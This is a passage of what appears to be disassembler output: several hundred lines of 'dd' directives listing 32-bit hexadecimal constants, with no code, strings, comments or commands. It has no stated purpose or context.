8C2E77F9h dd 0F00056E4h, 0A248EA16h, 2C3904FDh, 3C68E41Fh, 7F55B589h dd 0E0030C59h, 0C072601Ch, 7389A1h, 872FC4ABh, 51CBBE1Ah dd 9E59380Eh, 0D6940007h, 9519826Ch, 0BB287CECh, 0E112F454h dd 90E708FBh, 669CDC00h, 0D8FA05F2h, 9AF31601h, 0CC9F63D3h dd 9CF8077Ah, 21D64075h, 8E12A26Ah, 6420F446h, 990C49Fh dd 0E05C33B9h, 0A8C6D4A9h, 67323707h, 781394ABh, 1CC2F007h dd 49391F9Eh, 1ABB413Ch, 0D4482E41h, 9BB527A8h, 0B3E9B83Ch dd 113C001Eh, 4D12AF39h, 0D89209C4h, 0E58544h, 180A4446h dd 8A1936D9h, 0F3F1E400h, 0A8D3615Dh, 874704FCh, 0ABEFAF11h dd 1C169430h, 0FED92FA0h, 47BEA020h, 8E007223h, 0D18CA3CDh dd 5E86C01Ah, 39C4CCDEh, 40302F4Ah, 4B5BFB8h, 2A8279E7h dd 8018BC3Eh, 0EEE42943h, 0CF95006Bh, 1D8C71Ch, 0EA0225F5h dd 0AA2A10B2h, 8764C14Ch, 4C64C84Ch, 94007760h, 0F4270B02h dd 0B0099E1Dh, 8443E96Ah, 0E2455BACh, 284309Bh, 6006825h dd 0E4CFE09Ah, 3CB1163h, 4A605A5Fh, 9EB84E1Eh, 5491FCC0h dd 3D92F82h, 62987953h, 0D7205F01h, 2E166EF3h, 0C2788218h dd 0B8E17EE2h, 80F8148Ah, 0E95FF980h, 581F2FC7h, 7BC56709h dd 78B99A74h, 0C2AF44C5h, 8CD983E4h, 0A2E8003Dh, 0BD48E929h dd 0C918EE33h, 0BC7AFC90h, 14575327h, 7BE300A0h, 15705D9Eh dd 0CA25DE37h, 9F88CE41h, 942FC030h, 5006C014h, 69598880h dd 0CA3FAC51h, 401820E4h, 7D2C88A4h, 0D1606079h, 3DCC463Eh dd 3D047123h, 0AC84EF82h, 99D6044Ch, 0C486115Eh, 53801318h dd 21E4E25Fh, 6E106015h, 2100A891h, 0AD409CCEh, 0B0CB5189h dd 1D9F0F3Ch, 0FF6EE0F3h, 56E920E2h, 0F6830C5Ch, 0B8B12D5Fh dd 781E82A3h, 0C97262D1h, 0B041AA37h, 39002C02h, 1CB64A50h dd 79CE9900h, 7D7666C5h dd 46B8DE01h, 0EA17FB1Bh, 3C000473h, 0AECFABCh, 4B50839Bh dd 4F72E1B5h, 26195602h, 40EB61F2h, 2D82BE84h, 3C389269h dd 6C0118D3h, 0AE99D137h, 9854B5D2h, 19F020BEh, 0B700BE23h dd 370F0DC2h, 1D62E71h, 513A4010h, 7CE814E7h, 188918h dd 12ECC5A2h, 387A7045h, 3080F3B3h, 540C6971h, 99B740D2h dd 960C5F54h, 59D22B14h, 7C305A10h, 979FA37Fh, 0D5E6E8C8h dd 37124C9Eh, 8580DCh, 0CB39FB16h, 5B01D2FDh, 2B6D13Fh dd 0F4B79DDAh, 0B6C8D01Bh, 0A0004E4Ch, 628B9054h, 63090201h dd 949F5652h, 0E9802838h, 1C4008ADh, 34E6A100h, 58503CF1h dd 91422AD2h, 0E38F13C8h, 0C8FC121Fh, 450B8804h, 0B0DF5811h dd 2C5DE510h, 1D4884E9h, 803B2124h, 719843F3h, 96545B7Ch dd 0E0A69578h, 4B8BE30Dh, 1855F2C1h, 2F15844Ch, 0A8AF0DDEh dd 96C3AEE1h, 0E34C3049h, 0A0698113h, 8D381020h, 0A42A0363h dd 837D1D6Ch, 86966988h, 0F6BFCD00h, 0A3AB11ACh, 0B80202DBh dd 435B5379h, 2E017C5Ah, 18ED7CBCh, 0D02BDBE5h, 0D586DEB8h dd 0B0C3BB2Dh, 134F0260h, 304E434h, 89830DBCh, 0B820505Bh dd 70BBEB14h, 0D19B00B3h, 56B5C751h, 31227C81h, 0DB9207D6h dd 408729DAh, 64D4798Dh, 22D12F09h, 846004DCh, 0F459A0C2h dd 6A3E71A0h, 0A75C2C44h, 85E00852h, 0A48178A9h, 0EA58BCDAh dd 0F4F0DC28h, 0DA049402h, 0D29FFE0Bh, 0EC80B8FCh, 0E39AE14Bh dd 52536400h, 49CD2C88h, 19FB7D1Ch, 3075BB93h, 3702CA0Bh dd 6AD89134h, 1115DF0h, 9D30710Ch, 48C3A9D1h, 5526E184h dd 2D1C6449h, 0D0341481h, 607031AAh, 213716E6h, 0D5900222h dd 0D204C349h, 0E892A0ECh, 72FB80C0h, 0AC1E24Eh, 0CCCA64FCh dd 568160D4h, 0A5768385h, 7DD57005h, 20CD5829h, 0D345F4h dd 106F94Ch, 0C6976E89h, 0D19AFB1Eh, 0F4AD6180h, 5B5ED2F6h dd 0CDD4C87Ch, 9B234B1Eh, 0B5AE7D80h, 3A884F36h, 6C14DDE5h dd 0F7256CE4h, 6E4BB4C8h, 18098000h, 0F26DEE31h, 0BA2200EAh dd 21E172A9h, 98077050h, 7135734Ah, 5705C0B7h, 0D980ACE3h dd 0AC37DEF6h, 56A2B227h, 0C002550h, 0D122D294h, 59E6AE7Ch dd 6A089B1Fh, 7412F4D2h, 6FB898h, 4893D7ECh, 2AA78C91h dd 630045FAh, 274401F2h, 26994B28h, 2433FE34h, 466F602Ch dd 621F6D02h, 4C2EAFBh, 594956D4h, 69BE80B8h, 51B99AB0h dd 36D1C007h, 0C4B97C49h, 92A00020h, 0FC111F7Fh, 3700558Ch dd 435D3612h, 0F75F0B4h, 5E7980D7h, 58987C29h, 8700FBBEh dd 352C6ECEh, 42AE4FFh, 0D268D47Ah, 0D224ACDFh, 6D001AFCh dd 0C646AB1Fh, 5725263Fh, 0E98D828h, 83F8D9DEh, 655E2F91h dd 6D373C5Ch, 0F050E060h, 0C35ACC85h, 101C0891h, 0A07C46F1h dd 6263F980h, 0A00E747Ah, 0CF31FCh, 6AEE1D11h, 0F92300D4h dd 6C49BE37h, 5C265D53h, 0F70B1DA8h, 235800CAh, 0EBE94C3h dd 7D57F144h, 1DB94300h, 490462BFh, 9250847Eh, 0DE9378D2h dd 0B5B905CCh, 1028C844h, 18F3A62Ch, 70865D60h, 0F1701Ah dd 0A8073A27h, 7E734C0Ch, 0ECF4400Dh, 8C635094h, 0F3B45201h dd 0BE3B29DBh, 0CA2AB876h, 43D1BCC1h, 0D5846066h, 3C33AF8Eh dd 0D8FFE0E1h, 7618027Dh, 73CF2428h, 2C4034FEh, 97FA57EDh dd 7102FC96h, 0F3D13549h, 780525Ah, 55F0203Ch, 44803F1Fh dd 6C821815h, 0EC4697h, 0BFE1461Dh, 18F29577h, 6E12BA00h dd 9E431B4Dh, 5CC4885Eh, 0BDD65A17h, 64A2D016h, 0A901CC00h dd 6C69782Eh, 0A01FF916h, 1A99ED04h, 1B5088Ch, 607F7D24h dd 0F8D501BDh, 64F8C8Bh, 114AE40Fh, 61D4884Eh, 4E9238h dd 0EE0C26C6h, 122F465Ch, 1F0F91BAh, 53BF80F3h, 458B1766h dd 9C5B512Ch, 9420F71Dh, 7D83610Ch, 80A47879h, 8BED449Ah dd 54210165h, 0C10B416h, 4C82B50h, 106F60Eh, 1E2D1D9Ch dd 0C82F3DB2h, 8F00C008h, 67507FCEh, 4A8E6A0Fh, 80105F9Dh dd 1C5C1F7Ch, 0BD00931Ah, 6443B9E0h, 218EA11h, 0A2A4E3ECh dd 905DA99Fh, 0B18F51D0h, 0AC6B4B4Ch, 42806EFBh, 0F4069082h dd 0FE5FEFD7h, 6784BC29h, 58D85BE5h, 408A5A74h, 461D168h dd 0F4B5A874h, 368A489h, 48BE5B44h, 0E04B182Ah, 0ED223868h dd 0A061955Dh, 42387045h, 99CE049h, 7E6C18D1h, 0F1D74070h dd 0B974C9ADh, 0F27592EEh, 0D97FA4A8h, 7C15CE01h, 0D06DAD43h dd 5F65E470h, 0EB3088D7h, 84ECB21Eh, 8E07A457h, 0C5C5368Fh dd 84B4D853h, 0F82284E5h, 0FBE21355h, 10C84596h, 6DD888A0h dd 1A225B00h, 577C0F0h, 0A3921EDEh, 6945C271h, 0E0E8BDC1h dd 86EECBE1h, 0C259DC16h, 1FD4898h, 8EE6B0F8h, 2BA3E073h dd 9932C8Ch, 3FD87714h, 70E79041h, 792E8A4Ch, 7AC4E887h dd 8F887038h, 342F9531h, 0C816488Bh, 750E5707h, 3BC1EFC7h dd 0F472A33Dh, 2FB0884Ah, 7BD00B07h, 0D8E16E2Ch, 57708363h dd 0B5BA024Fh, 42EEC4E0h, 8B67066h, 1780D165h, 0D47094h dd 0EE1EFBCDh, 9B5679F0h, 0DCAF117h, 7D9CB020h, 3091005Ah dd 5D1AE37h, 0B548E1EFh, 0B638017Bh, 121F185Ch, 0E0D5F443h dd 329CA261h, 0BEB084E4h, 2E3024E6h, 80B086D1h, 40F81E13h dd 527C5689h, 90F8A028h, 0A0E6DE40h, 1158889Ch, 1EA25FD2h dd 0F325D386h, 0FBB38098h, 46C73D23h, 441C8402h, 827E959Ch dd 7729C6D0h, 3401D40Bh, 337F5739h, 65A900B4h, 0C924F896h dd 9B400C3h, 0A26E83C1h, 9D019BC2h, 449EDB1Ah, 0D064B5DCh dd 0A5544B53h, 80003CACh, 0A899EE89h, 0CF8B0060h, 15965A24h dd 2AEB9F46h, 994598C8h, 0D04E3E84h, 63690714h, 7C546E00h dd 255A4419h, 22C49010h, 0D93EC05Ch, 0CCD4A14h, 6054C8A6h dd 0B728824h, 0F3A93F00h, 0F25D173Dh, 41DB186Bh, 7EE2B92Fh dd 0C1AC284Ch, 63BC1C0Fh, 3A2ADCh, 0DABEB808h, 0CA470D5Ah dd 0EB929F04h, 0F4F49D64h, 0CA77281h, 333C89F7h, 0DC0314EAh dd 449B5ECh, 61CCE220h, 9C296A5Ch, 55B84DC0h, 9201DCD3h dd 8FE4621h, 34E430A2h, 0A53E172Bh, 28904905h, 980E74C4h dd 409A6F9Fh, 0D238DCA9h, 195802B6h, 34D8A8A1h, 8F3AF050h dd 0F0A42777h, 8DD52EBCh, 40DD6478h, 0D138F99Ah, 17A1009Fh dd 86C5EFBDh, 109CE2D5h, 97F4EEh, 3D167AD8h, 0E1F2A5Fh dd 0E57BDA98h, 88561B89h, 1C3D6F40h, 712C09EEh, 30FA5AA4h dd 0B1B876F4h, 661FB31Ch, 35D1987h, 0B5D0E421h, 54625D61h dd 0D989D449h, 0E617F8E4h, 54521046h, 0EDE034BCh, 0E000D23Eh dd 0F5B90EA7h, 2B2A9DDh, 0A4556F05h, 471E817h, 0D0ED370Ah dd 0A8F28213h, 27E37178h, 2CE0D55Fh, 45000441h, 0DE157CC4h dd 60A7FBE6h, 380B8090h, 0C07D9BE7h, 70DC834Fh, 54FAACh dd 74EA19E4h, 88265B21h, 8046783Ah, 730950A1h, 5261D72Bh dd 74001CFBh, 0BE8979E1h, 0F700C59Fh, 15D6B40h, 28AAACBh dd 487DC44Dh, 88DE28D5h, 0C0099E13h, 0E0DCFC53h, 0ED298FB1h dd 0B31B55Ch, 0F8747F7Eh, 0E7087C94h, 0BA29420h, 0BA4582E6h dd 98B51802h, 8BC3D000h, 1BD7E84h, 69261E28h, 0D8BB0B7Ch dd 933B2C54h, 4C204A44h, 48479Bh, 9F684C9Dh, 4E46B718h dd 0CD32CF0Bh, 61738BBAh, 0C1D2CE18h, 8C73C090h, 67414F00h dd 0E338E198h, 0F186271Dh, 5C01AAC3h, 0D22FD0CDh, 0F32D4A42h dd 0A00D0874h, 1D418251h, 2CE34836h, 0D28B301Eh, 245B5588h dd 91C960E8h, 7100617Fh, 0D120A15Ah, 773BF66Ah, 0C13D0454h dd 0FE6C1F17h, 0E8DCBC21h dd 6864F412h, 93667338h, 0F805391Ah, 92C06A4Dh, 3D186CF6h dd 63B149E7h, 3CDA86A9h, 78B09364h, 0F8C48BA3h, 4A9680B4h dd 0EC933A8h, 4C21422h, 90ADD9C8h, 16BA8950h, 0B17114B3h dd 0ACA8C4B0h, 2A3D907h, 0FE548296h, 5B1034B2h, 8087888Fh dd 8A15709Fh, 5800CC45h, 0E3B4797Eh, 3D7A9DBh, 0BEBF40EBh dd 7100C0F7h, 2932D435h, 7156BF5h, 6F7B8055h, 933B4316h dd 713001C1h, 0F4983E84h, 8CF75E61h, 0AC1C87C4h, 578103EEh dd 0CEA61E64h, 259995F8h, 90592629h, 0C9B2E101h, 1EF4A58Ch dd 92580085h, 9EFE775Dh, 749088F8h, 0C026C90h, 7CA4185Fh dd 0D1586226h, 370B0AE8h, 1DA9138Ch, 474A0FEDh, 0D08143ABh dd 2E287C49h, 769FBC8Ch, 0D48100CBh, 51E5A718h, 0AB390164h dd 21590283h, 539FA29Eh, 0FFDE08E8h, 0C204A0A7h, 9A355Bh dd 5F48AC7Ah, 684D6B78h, 0B5F5B800h, 0BD23575Dh, 87BE25BBh dd 3E8218FBh, 517C2DFDh, 0F73000FCh, 926A4B20h, 4E164000h dd 0A9CF6CC1h, 6F7F1221h, 0F0B22Ah, 92E4BBB5h, 486AC7h dd 4AA3292Ch, 0B2D58B16h, 4B55EF3Bh, 859F74D1h, 0E8BE7987h dd 888AD3EAh, 0A178CA90h, 4637B000h, 68587CF0h, 87189125h dd 807403FFh, 507F4305h, 0AC1D9E00h, 0FEB38E98h, 0D3380925h dd 2C446C20h, 93C2E01Fh, 49C3B040h, 170AE1Eh, 0EE316A2Ah dd 78B63E32h, 0E430D65Ch, 2FA35ACh, 0C75B08E3h, 54F2DBE8h dd 1DC5B720h, 80CF737Fh, 9D104B22h, 34492DC2h, 30574C84h dd 48DF295Ah, 980F5CC4h, 0D1E05104h, 8C1CC85Fh, 11E028FFh dd 0D00D034h, 0EA6E3D07h, 0AF025872h, 0E28774EFh, 4000D61Ah dd 4D3F3C51h, 93CA8400h, 0A4DB31A0h, 0ECC00E5h, 0D286A324h dd 0CCB5C8EEh, 0A8F0D4h, 453C882Ah, 8C51905h, 0D2ED0C1Eh dd 0F256318Bh, 7D7B21D4h, 48875190h, 0A37CD4C3h, 76B32298h dd 24A3B5E1h, 0A7D59Ch, 145BD272h, 65854900h, 0BFFA2E8Dh dd 15A4A9D3h, 0C4743Fh, 6ED557F4h, 0E100AD50h, 128C61B1h dd 263F5C14h, 0C480FD1Dh, 33F0827Fh, 54008CFAh, 0A91E051Ch dd 9444980h, 0AEA17F70h, 28596807h, 0EB908605h, 98903C13h dd 1B6B511h, 0DD1CB783h, 0E8486C46h, 921E0B15h, 161D8295h dd 2C09EAD2h, 0E29041E6h, 55027428h, 5C1024D2h, 0C9C0B8DEh dd 2E78DBBh, 2090D6E3h, 9850E8AAh, 0F8D9DD0Bh, 0ECEEAEh dd 249B90E4h, 0CF2F4DC0h, 17A15B4Ch, 0C4C8E312h, 0D07E1CF8h dd 2B168061h, 0DD801BBCh, 59ACA100h, 108AC23Eh, 7C810E55h dd 2EC749BEh, 14C0CEA4h, 386A74E6h, 861AC0BAh, 0E679E4D7h dd 6FD300ACh, 2823FB24h, 5D0F4C21h, 0C1E6DA3Dh, 44A6086Dh dd 605B3870h, 0D79331B2h, 4099A41Ah, 7F4E9080h, 1CF2E3h dd 0BB92EEF1h, 0A0E1DD37h, 0D7D15F02h, 851A828Ah, 50ACD844h dd 894611A0h, 0FAB64D0Bh, 7CDD0155h, 0DA20C439h, 0AD2003FFh dd 0AAF4C8A5h, 7CB3314Eh, 2E51F21Ch, 7CF03E2h, 0A04CD43Ah dd 19F4C0B8h, 705AD0h, 0C316BD20h, 5CFD4F5Dh, 0A3D2C19h dd 0D4203799h, 27785E45h, 7C8F48CCh, 0DBC0616Ch, 1832F9D9h dd 0EA71BE0Ch, 1D2D296Ch, 86548235h, 487056DBh, 329254h dd 0B5F74DFAh, 4F008ABDh, 7BB802DCh, 0D3175853h, 0CB1000D9h dd 0B5B17D22h, 750090A6h, 0F65CB4C0h, 3D76ADC3h, 0B280231Ah dd 0A7E9407Fh, 0A5587DA2h, 0D7CC0730h, 0B615105Dh, 0B5AAB280h dd 46C0C01Ch, 5B327B88h, 27E9DC4Ch, 5E540B3Fh, 50084178h dd 0D16F60D9h, 4DF2061Fh, 2F7D7181h, 0D3F6891Eh, 20E0B0C0h dd 0ACB981FFh, 47170602h, 0D5486032h, 988B8AD3h, 0AC688474h dd 91FE6F60h, 3DE8B682h, 0D1444001h, 2ABCA2A5h, 0CDDCF804h dd 0D800F8E3h, 0C50714E3h, 0E3A07C32h, 9900B61Ch, 0F24D2044h dd 1D9EB5D7h, 0E7BE37A3h, 7D01D77Ch, 7CBAAF4Bh, 0C96E47F1h dd 0E489D58Ch, 0E4755AD8h, 282C4112h, 0E50888h, 37622FE1h dd 0BEC0ABE8h, 83656C00h, 0C543A0EEh, 169098F0h, 0A22E7E38h dd 0A29001FCh, 0E82860B4h, 0DAD46721h, 23352726h, 0E885CF3h dd 807F9C9Eh, 0D9230CD6h, 6BFFEECEh, 3EEC6CCDh, 3F8000C4h dd 57FD2544h, 0A83CCFF9h, 779D0083h, 7ED1D7CEh, 4E6909ADh dd 38820E13h, 0A0FC5401h, 0C2BACF58h, 81F6E219h, 0FE6CCCA1h dd 0FF47353h, 6B5A82E6h, 40DC5C49h, 71192376h, 0BB8AAA00h dd 0A39C2113h, 4A3D01E4h, 9D333593h, 80F839C3h, 7542BBA9h dd 0DDEF0044h, 5B9B77BEh, 939FA416h, 3B729850h, 0F19648B3h dd 0E6EAF700h, 0A20AFD33h, 0D2BE8361h, 207BB942h, 142192ECh dd 940A3A72h, 7057ED35h, 0EE57969Dh, 0AE00CCE3h, 11DDC7F4h dd 5A04CE4Eh, 8203C510h, 8888D384h, 0A834420h, 72FB1D05h dd 0F9C0DC38h, 0A5F57Bh, 4B141810h, 25B6C002h, 8FD2BE1Ch dd 4953D428h, 81DC22B4h, 500859C0h, 155B10E9h, 0D486805Ch dd 76C0149Dh, 7AE10067h, 0E9241E01h, 0FD7F3D98h, 0C22285Ah dd 0C00A248Ch, 0C242B8E2h, 3050DE00h, 90CAB2E0h, 0CB1507F3h dd 0A33153h, 0E772F805h, 69875804h, 88CEFC6h, 318C160Bh dd 840C32C7h, 3BFE0A20h, 6AB10030h, 0F5E27462h, 491C4433h dd 0C7005CB5h, 0EC777C65h, 642D4853h, 0F581E501h, 2258ED36h dd 0BF430024h, 4278233Ah, 885B5F50h, 0B512B98Ch, 4302826h dd 7C21BAh, 71D29FC2h, 5F68E7A7h, 5CD6D709h, 8BB480ACh dd 97C334D1h, 0DF4458C0h, 0C4383714h, 0EAB7C0A0h, 0D50483h dd 0AD4D1D96h, 6E9EF3C0h, 0E5982C69h, 760A3808h, 9ACE66h dd 0AD3D2F9h, 8D3D9CC4h, 7A5A18D7h, 5554629h, 8C2B4890h dd 0C42CF91Ah, 2C11B9EEh, 3936321Fh, 1D13A400h, 0FA9ABEE7h dd 58A03E4Ah, 0BD153A3Ah, 4E622204h, 0B009EBD5h, 0AF84A087h dd 9E6D6C9h, 0C1CC7743h, 10277CDCh, 72FBE94h, 7195D1A2h dd 9ED6E003h, 0A17DB214h, 26C61D1Fh, 0AE98AF40h, 1F5C77FBh dd 401E547Ah, 1908C8A0h, 9C004244h, 8FF02B45h, 18B9047Fh dd 40A0839Bh, 8E007ABFh, 0B17CA822h, 0C094032Eh, 23F59F18h dd 28C69EB4h, 318114h, 36C119C6h, 7A0AAC4Bh, 1E289B62h dd 0C24079Fh, 0D9312EFCh, 74DB4993h, 42A00881h, 0F4E2F37Dh dd 5C982672h, 62158900h, 1F64BF9Bh, 0C0330612h, 79B16F91h dd 0E968DB1Eh, 3EBC7Eh, 71C3497Fh, 0FE03BF15h, 1F2E14A2h dd 82858FEh, 16250044h, 0CE7DEA60h, 850E0B34h, 0C587F715h dd 0DF0A91D6h, 9A86A084h, 30A1757Ch, 2679B06Fh, 0A80F5E43h dd 80AC150Ah, 5AE84612h, 4C00079h, 92A7D9Eh, 7F00C13Ah dd 577C874Bh, 0A4B924F6h, 0B1804498h, 21A40700h, 2EE4C97Ah dd 14B9E09Fh, 3CDC3E66h, 0DA370101h, 0F87327A8h, 71009167h dd 8A5EAEB1h, 3DF49Dh, 0FF01BF95h, 70D003F8h, 0BD815500h dd 728496D2h, 332EF041h, 9E518B7Bh, 0E1781BBBh, 61270238h dd 0EC1E8724h, 408CE761h, 7731B1DBh, 5398F600h, 7A2E1789h dd 7D24A08Fh, 430901BFh, 87FA5104h, 0EF74C030h, 0F815238h dd 0C15A34D3h, 0D9BF6E29h, 0E6D71C40h, 8C45076Fh, 656826DBh dd 0C28C40AFh, 69D1FC1Ch, 962DB90Fh, 9D24E0E0h, 0C6403Ah dd 1CC7C5Ch, 209AE614h, 64890A4h, 77708008h, 674753h, 9BB32C32h dd 8FDC1AD9h, 0B0004E8h, 0A8453439h, 0ACC53B8h, 97367D37h dd 0B5CA8084h, 0DF6BC4A5h, 0A0DD5A00h, 50892508h, 0FAFC77h dd 0E69D205Ch, 297ED91Eh, 30887C22h, 4A81B606h, 0D5E84333h dd 1C0EEE01h dd 0FF6BF84h, 48087045h, 1B3142A3h, 14F1E20h, 18FB003Dh dd 15974C7Eh, 830184AFh, 16247827h, 0C0201BABh, 0C0A04517h dd 4248123Eh, 0DF6603D8h, 0B36FF5h, 3C57B569h, 7AFD2CA5h dd 0C3F9E700h, 0BF030D26h, 0F7B60E0Ah, 27A19E52h, 226F57A8h dd 0B5F1074Ch, 958287F6h, 0B428A1B3h, 0C1E46AD9h, 169D0F2Eh dd 5C40107Fh, 0E5A25021h, 99961533h, 0F49CC028h, 33611ECFh dd 76D04934h, 1AF52802h, 438BE26h, 275BD604h, 0EA488054h dd 882C3DC9h, 0F420D965h, 0D89106F0h, 0DF1F8300h, 2838F5C4h dd 0FEC0D3A3h, 90E4E8FCh, 6C8300A6h, 0CEFD2703h, 41C08418h dd 6673A10Dh, 2FB70746h, 0B2243001h, 0BC913EF6h, 4885607Ch dd 1DFF712h, 9182FC0Fh, 9D030D3Dh, 4F3C8818h, 0FD210498h dd 0A6232918h, 979EC9h, 342E8DE4h, 7D5C0419h, 297E60F7h dd 0BF28A875h, 0B914A0CDh, 3E2C9AAEh, 1841EC7Bh, 0C67C889Eh dd 0AA1F2909h, 0A32C10DCh, 0A4760031h, 71C0CBC1h, 0E90A30E3h dd 0AC35E71Eh, 308C22C4h, 1A228608h, 0C525121Eh, 6FE820DCh dd 0D009FD1Bh, 99F3CF89h, 0A5F8F534h, 0B46070Ah, 0E0641B55h dd 0AFB9F78Dh, 21686C01h, 76752E66h, 2B2443h, 0DA317D61h dd 0E3D37CD9h, 4712400h, 764C5554h, 0A6F80015h, 0AFE55311h dd 0A1C6921Dh, 149B9DBh, 0FD0C13EDh, 0FC5A231Ah, 840049F8h dd 0FBD16BEBh, 541434C9h, 726949Bh, 4F420C01h, 9347A0DCh dd 8C26E104h, 2E426836h, 0DAC0F527h, 2335B759h, 861F196Dh dd 801642C0h, 9040892Fh, 69150056h, 0F78335E8h, 3800D2E5h dd 29329EC9h, 0C71C0BF6h, 0C7122EE1h, 1857C687h, 379EB322h dd 61A71Eh, 0CB301587h, 5041E4A2h, 34B910A6h, 0BFC1C09Dh dd 506B9504h, 44D7CE2Ch, 0A46CE70Ah, 775C2F41h, 78ABB0DFh dd 65BC0035h, 31170A70h, 43001595h, 7D5DD73Ah, 6713B1Eh dd 6F01C77Ch, 1C0091B7h, 660A49D3h, 7A8780C8h, 0B9520EFAh dd 1322A5Eh, 0E0EB9490h, 0FEEC6083h, 0E116220Ah, 5C00206Ch dd 7B853389h, 0B470530h, 177F3Ah, 8EC653A4h, 2898A129h dd 20142609h, 30C8294Eh, 0C5973Ch, 3D6AD421h, 526A406h dd 103A0C09h, 23C402A1h, 0B98A0F6h, 15C09BAh, 9AABFD49h dd 0C8935319h, 776FBDE7h, 0EF4A860h, 0A80435D2h, 0C178848Fh dd 509C3190h, 0A0150A8h, 0D91C3605h, 1AC4C891h, 44E6B8C2h dd 70DB4808h, 8B239480h, 0C61C3DACh, 7FC0206Fh, 0C1E03C50h dd 0E9700E7Eh, 0A6E395A4h, 40B6B639h, 49F92030h, 74DDE5D6h dd 0C5280F14h, 0AC0E36Eh, 87B119B0h, 89592700h, 0A61C5FCEh dd 0A197612Fh, 84A4779Ah, 377C9E81h, 0A68088h, 1E31817Eh dd 0C4EFC302h, 0D0E5DA00h, 928E50D1h, 304B1CBDh, 0AFF0853Eh dd 2CB404F6h, 7842019Fh, 0B0D83BF5h, 0D847266Eh, 48F100BBh dd 155E69A8h, 23780800h, 0B11AB78Eh, 14A6F27Dh, 0E4BFAD61h dd 0E5CED848h, 3F86E840h, 491D6EFAh, 798002ADh, 0D6784A8h dd 538F012Eh, 0B4D9A6B1h, 261883A3h, 0A681F259h, 0D8940328h dd 862A6E1Fh, 8AC23087h, 4A7B38ADh, 0DFC74811h, 0D5EEB500h dd 0C834E297h, 144CE903h, 26D9C195h, 3B421h, 581B6C4Dh dd 5A03EFABh, 8382317Bh, 263CD04Ah, 499DF89h, 6CB355h dd 1BCBA1D3h, 0B954615Bh, 0BCAC7006h, 65B800A8h, 4CBEE58Ch dd 0F4FA01F5h, 0F22AEFDAh, 0A479807Ah, 3A0D70E6h, 0F03CE06Ch dd 0E8160088h, 7E85302Fh, 590774D5h, 0A908EB2Ch, 78AA86A0h dd 9767159Fh, 0F1008887h, 45F33DB0h, 5F985066h, 67A70F00h dd 2D380B37h, 2CC20078h, 0C4260A1Ch, 1A03AF96h, 0AB6B5607h dd 0F38FC0C3h, 0CD18CF8Dh, 0DA6A3880h, 9F00D824h, 0A7F11C41h dd 11A132Dh, 775501F4h, 879251C0h, 0BD20EE31h, 74A6484Ch dd 8D8083D0h, 6B07AA5Eh, 5F8225CFh, 0FF4257C0h, 0E7F60624h dd 40A0C8C7h, 0E90309F8h, 12B23C2Dh, 0B085BBF9h, 66E0F40h dd 24EEC944h, 0B70361B0h, 4B9E03D4h, 6DC91E80h, 0D5A78C34h dd 163BB679h, 266E8192h, 6B9EDE36h, 46BAF0h, 548FB283h dd 20F09FDAh, 0BF152100h, 0A7966391h, 3451C00Fh, 38C9A523h dd 0CB119900h, 0DAACE576h, 2FF9063Eh, 0F9C853C0h, 30132100h dd 0B8D840EFh, 2940C03Fh, 6CBDB51h, 0EBD5400h, 3635D07Dh dd 0C0CE1C37h, 0C44D882Eh, 0B4064080h, 0FC5383h, 191B688Fh dd 0D641A06Dh, 0C657EA01h, 0D34B29C9h, 7EFECCE0h, 7DF0CBh dd 0BB44B8B1h, 54C1B268h, 2E2AD400h, 0DADDD6B9h, 1D3A01E0h dd 0C9AEB0A8h, 0D12BC07Ch, 587C9477h, 19B4F030h, 38F41F66h dd 0D58041FBh, 0FDF2B44h, 0E10F4AC2h, 4020B20Eh, 61D38EDCh dd 0F8DAA39Eh, 0FCF5DD1h, 0D2D0EED7h, 1BCE2180h, 0F3061910h dd 0DEF18EB8h, 6E3E0C10h, 23303501h, 16BC0440h, 0EF6B4D8Eh dd 6011880Fh, 8B12F035h, 1153606Dh, 96C53466h, 0A586D101h dd 988F0709h, 2180C3D1h, 0BBC53C93h, 0EB3B17DEh, 0FE4900EAh dd 5CA188C2h, 0D559CF09h, 5E8C5240h, 0F733AD94h, 3DBF0965h dd 5200F521h, 47CA5D4Fh, 19C1E32Fh, 91C42765h, 30CE6E0h dd 5CB192ACh, 0C0042CCFh, 702D3F04h, 0CEFC8901h, 0B1188002h dd 675F8D34h, 4010DED4h, 9E1C5B74h, 5C00D5DDh, 0D1C969FEh dd 7D42510Ch, 169B1C84h, 26C047A2h, 28B80046h, 92004811h dd 18A6D5A1h, 334BBA9Bh, 0EA08B331h, 98F12100h, 92AE4D5h dd 7B41488Eh, 5DAD1Dh, 0AE0884AFh, 860719D0h, 4CDE98B2h dd 68384Ch, 232FE92Ah, 0CB1A53F3h, 3008ED66h, 2880321h dd 0C1121DE9h, 4620EAD0h, 0C017DD00h, 839CEFB0h, 0AC58C1BEh dd 4B1126E6h, 0C73D8830h, 0BA2130A2h, 7303549Ch, 0FAA4D4F5h dd 28D86E75h, 27625D00h, 80639B2Ah, 0C84F8270h, 6D55A0h dd 0B0BFB74Dh, 3A7D16CAh, 88397360h, 32C08F1h, 0AE6C93AFh dd 8305BA9h, 496F2160h, 97650109h, 900FE6B8h, 0B9508816h dd 0D7DB00EDh, 6BE76304h, 0EE001CF4h, 0FD47731Ah, 97E1E8h dd 89481631h, 391EDE34h, 0C0004CB0h, 6D2FEFD5h, 0AEAC13h dd 5F2A08A1h, 0DDB73315h, 0A7E24600h, 300198C1h, 41536096h dd 0C404F5CDh, 838C1E38h, 7CB9C9DFh, 26E88855h, 622D30E2h dd 67B24628h, 17204917h, 0A37FF03h, 93598F1h, 0D5B00078h dd 0B96615CBh, 92071760h, 0E3FC853Ah, 4E649BC0h, 9748069Ah dd 183B01F8h, 18E7D73Ch, 0FB908CF4h, 0FE8B0346h, 350FA031h dd 8A897007h, 3A8765F6h, 2DE51240h, 6B900F7h, 0A555634h dd 136062F2h, 0A1C57518h, 97053CB4h, 0A00BE900h, 900ACDE6h dd 8048BAF7h, 0AA1B1441h, 449FB8h, 0F9EEF3Ch, 3C18EA0h dd 4D266700h, 0E2930536h, 7ECA1CB9h, 5C3E804Eh, 0E91AD148h dd 0F3AC2600h, 0C70F2710h, 0C87800C0h, 0FBF29BA1h, 78B8A4C2h dd 0DDD78D07h, 4CD73F10h, 846BCCC0h, 0C0C637A6h, 0ECEFC070h dd 2651FE10h, 0AE76D808h, 0E44DCD00h, 791FEBA5h, 0C197E8A3h dd 0ACDFE521h, 248946BDh, 17AE3300h, 0F3429828h, 3E79C00Ch dd 51133D2Ah, 9A10FF61h, 408F0D47h, 0F080E89Eh, 8E72C8B9h dd 0AFF5C8C0h, 7B27EB66h, 0B2DF0039h, 7E43C9A2h, 0D07F7B29h dd 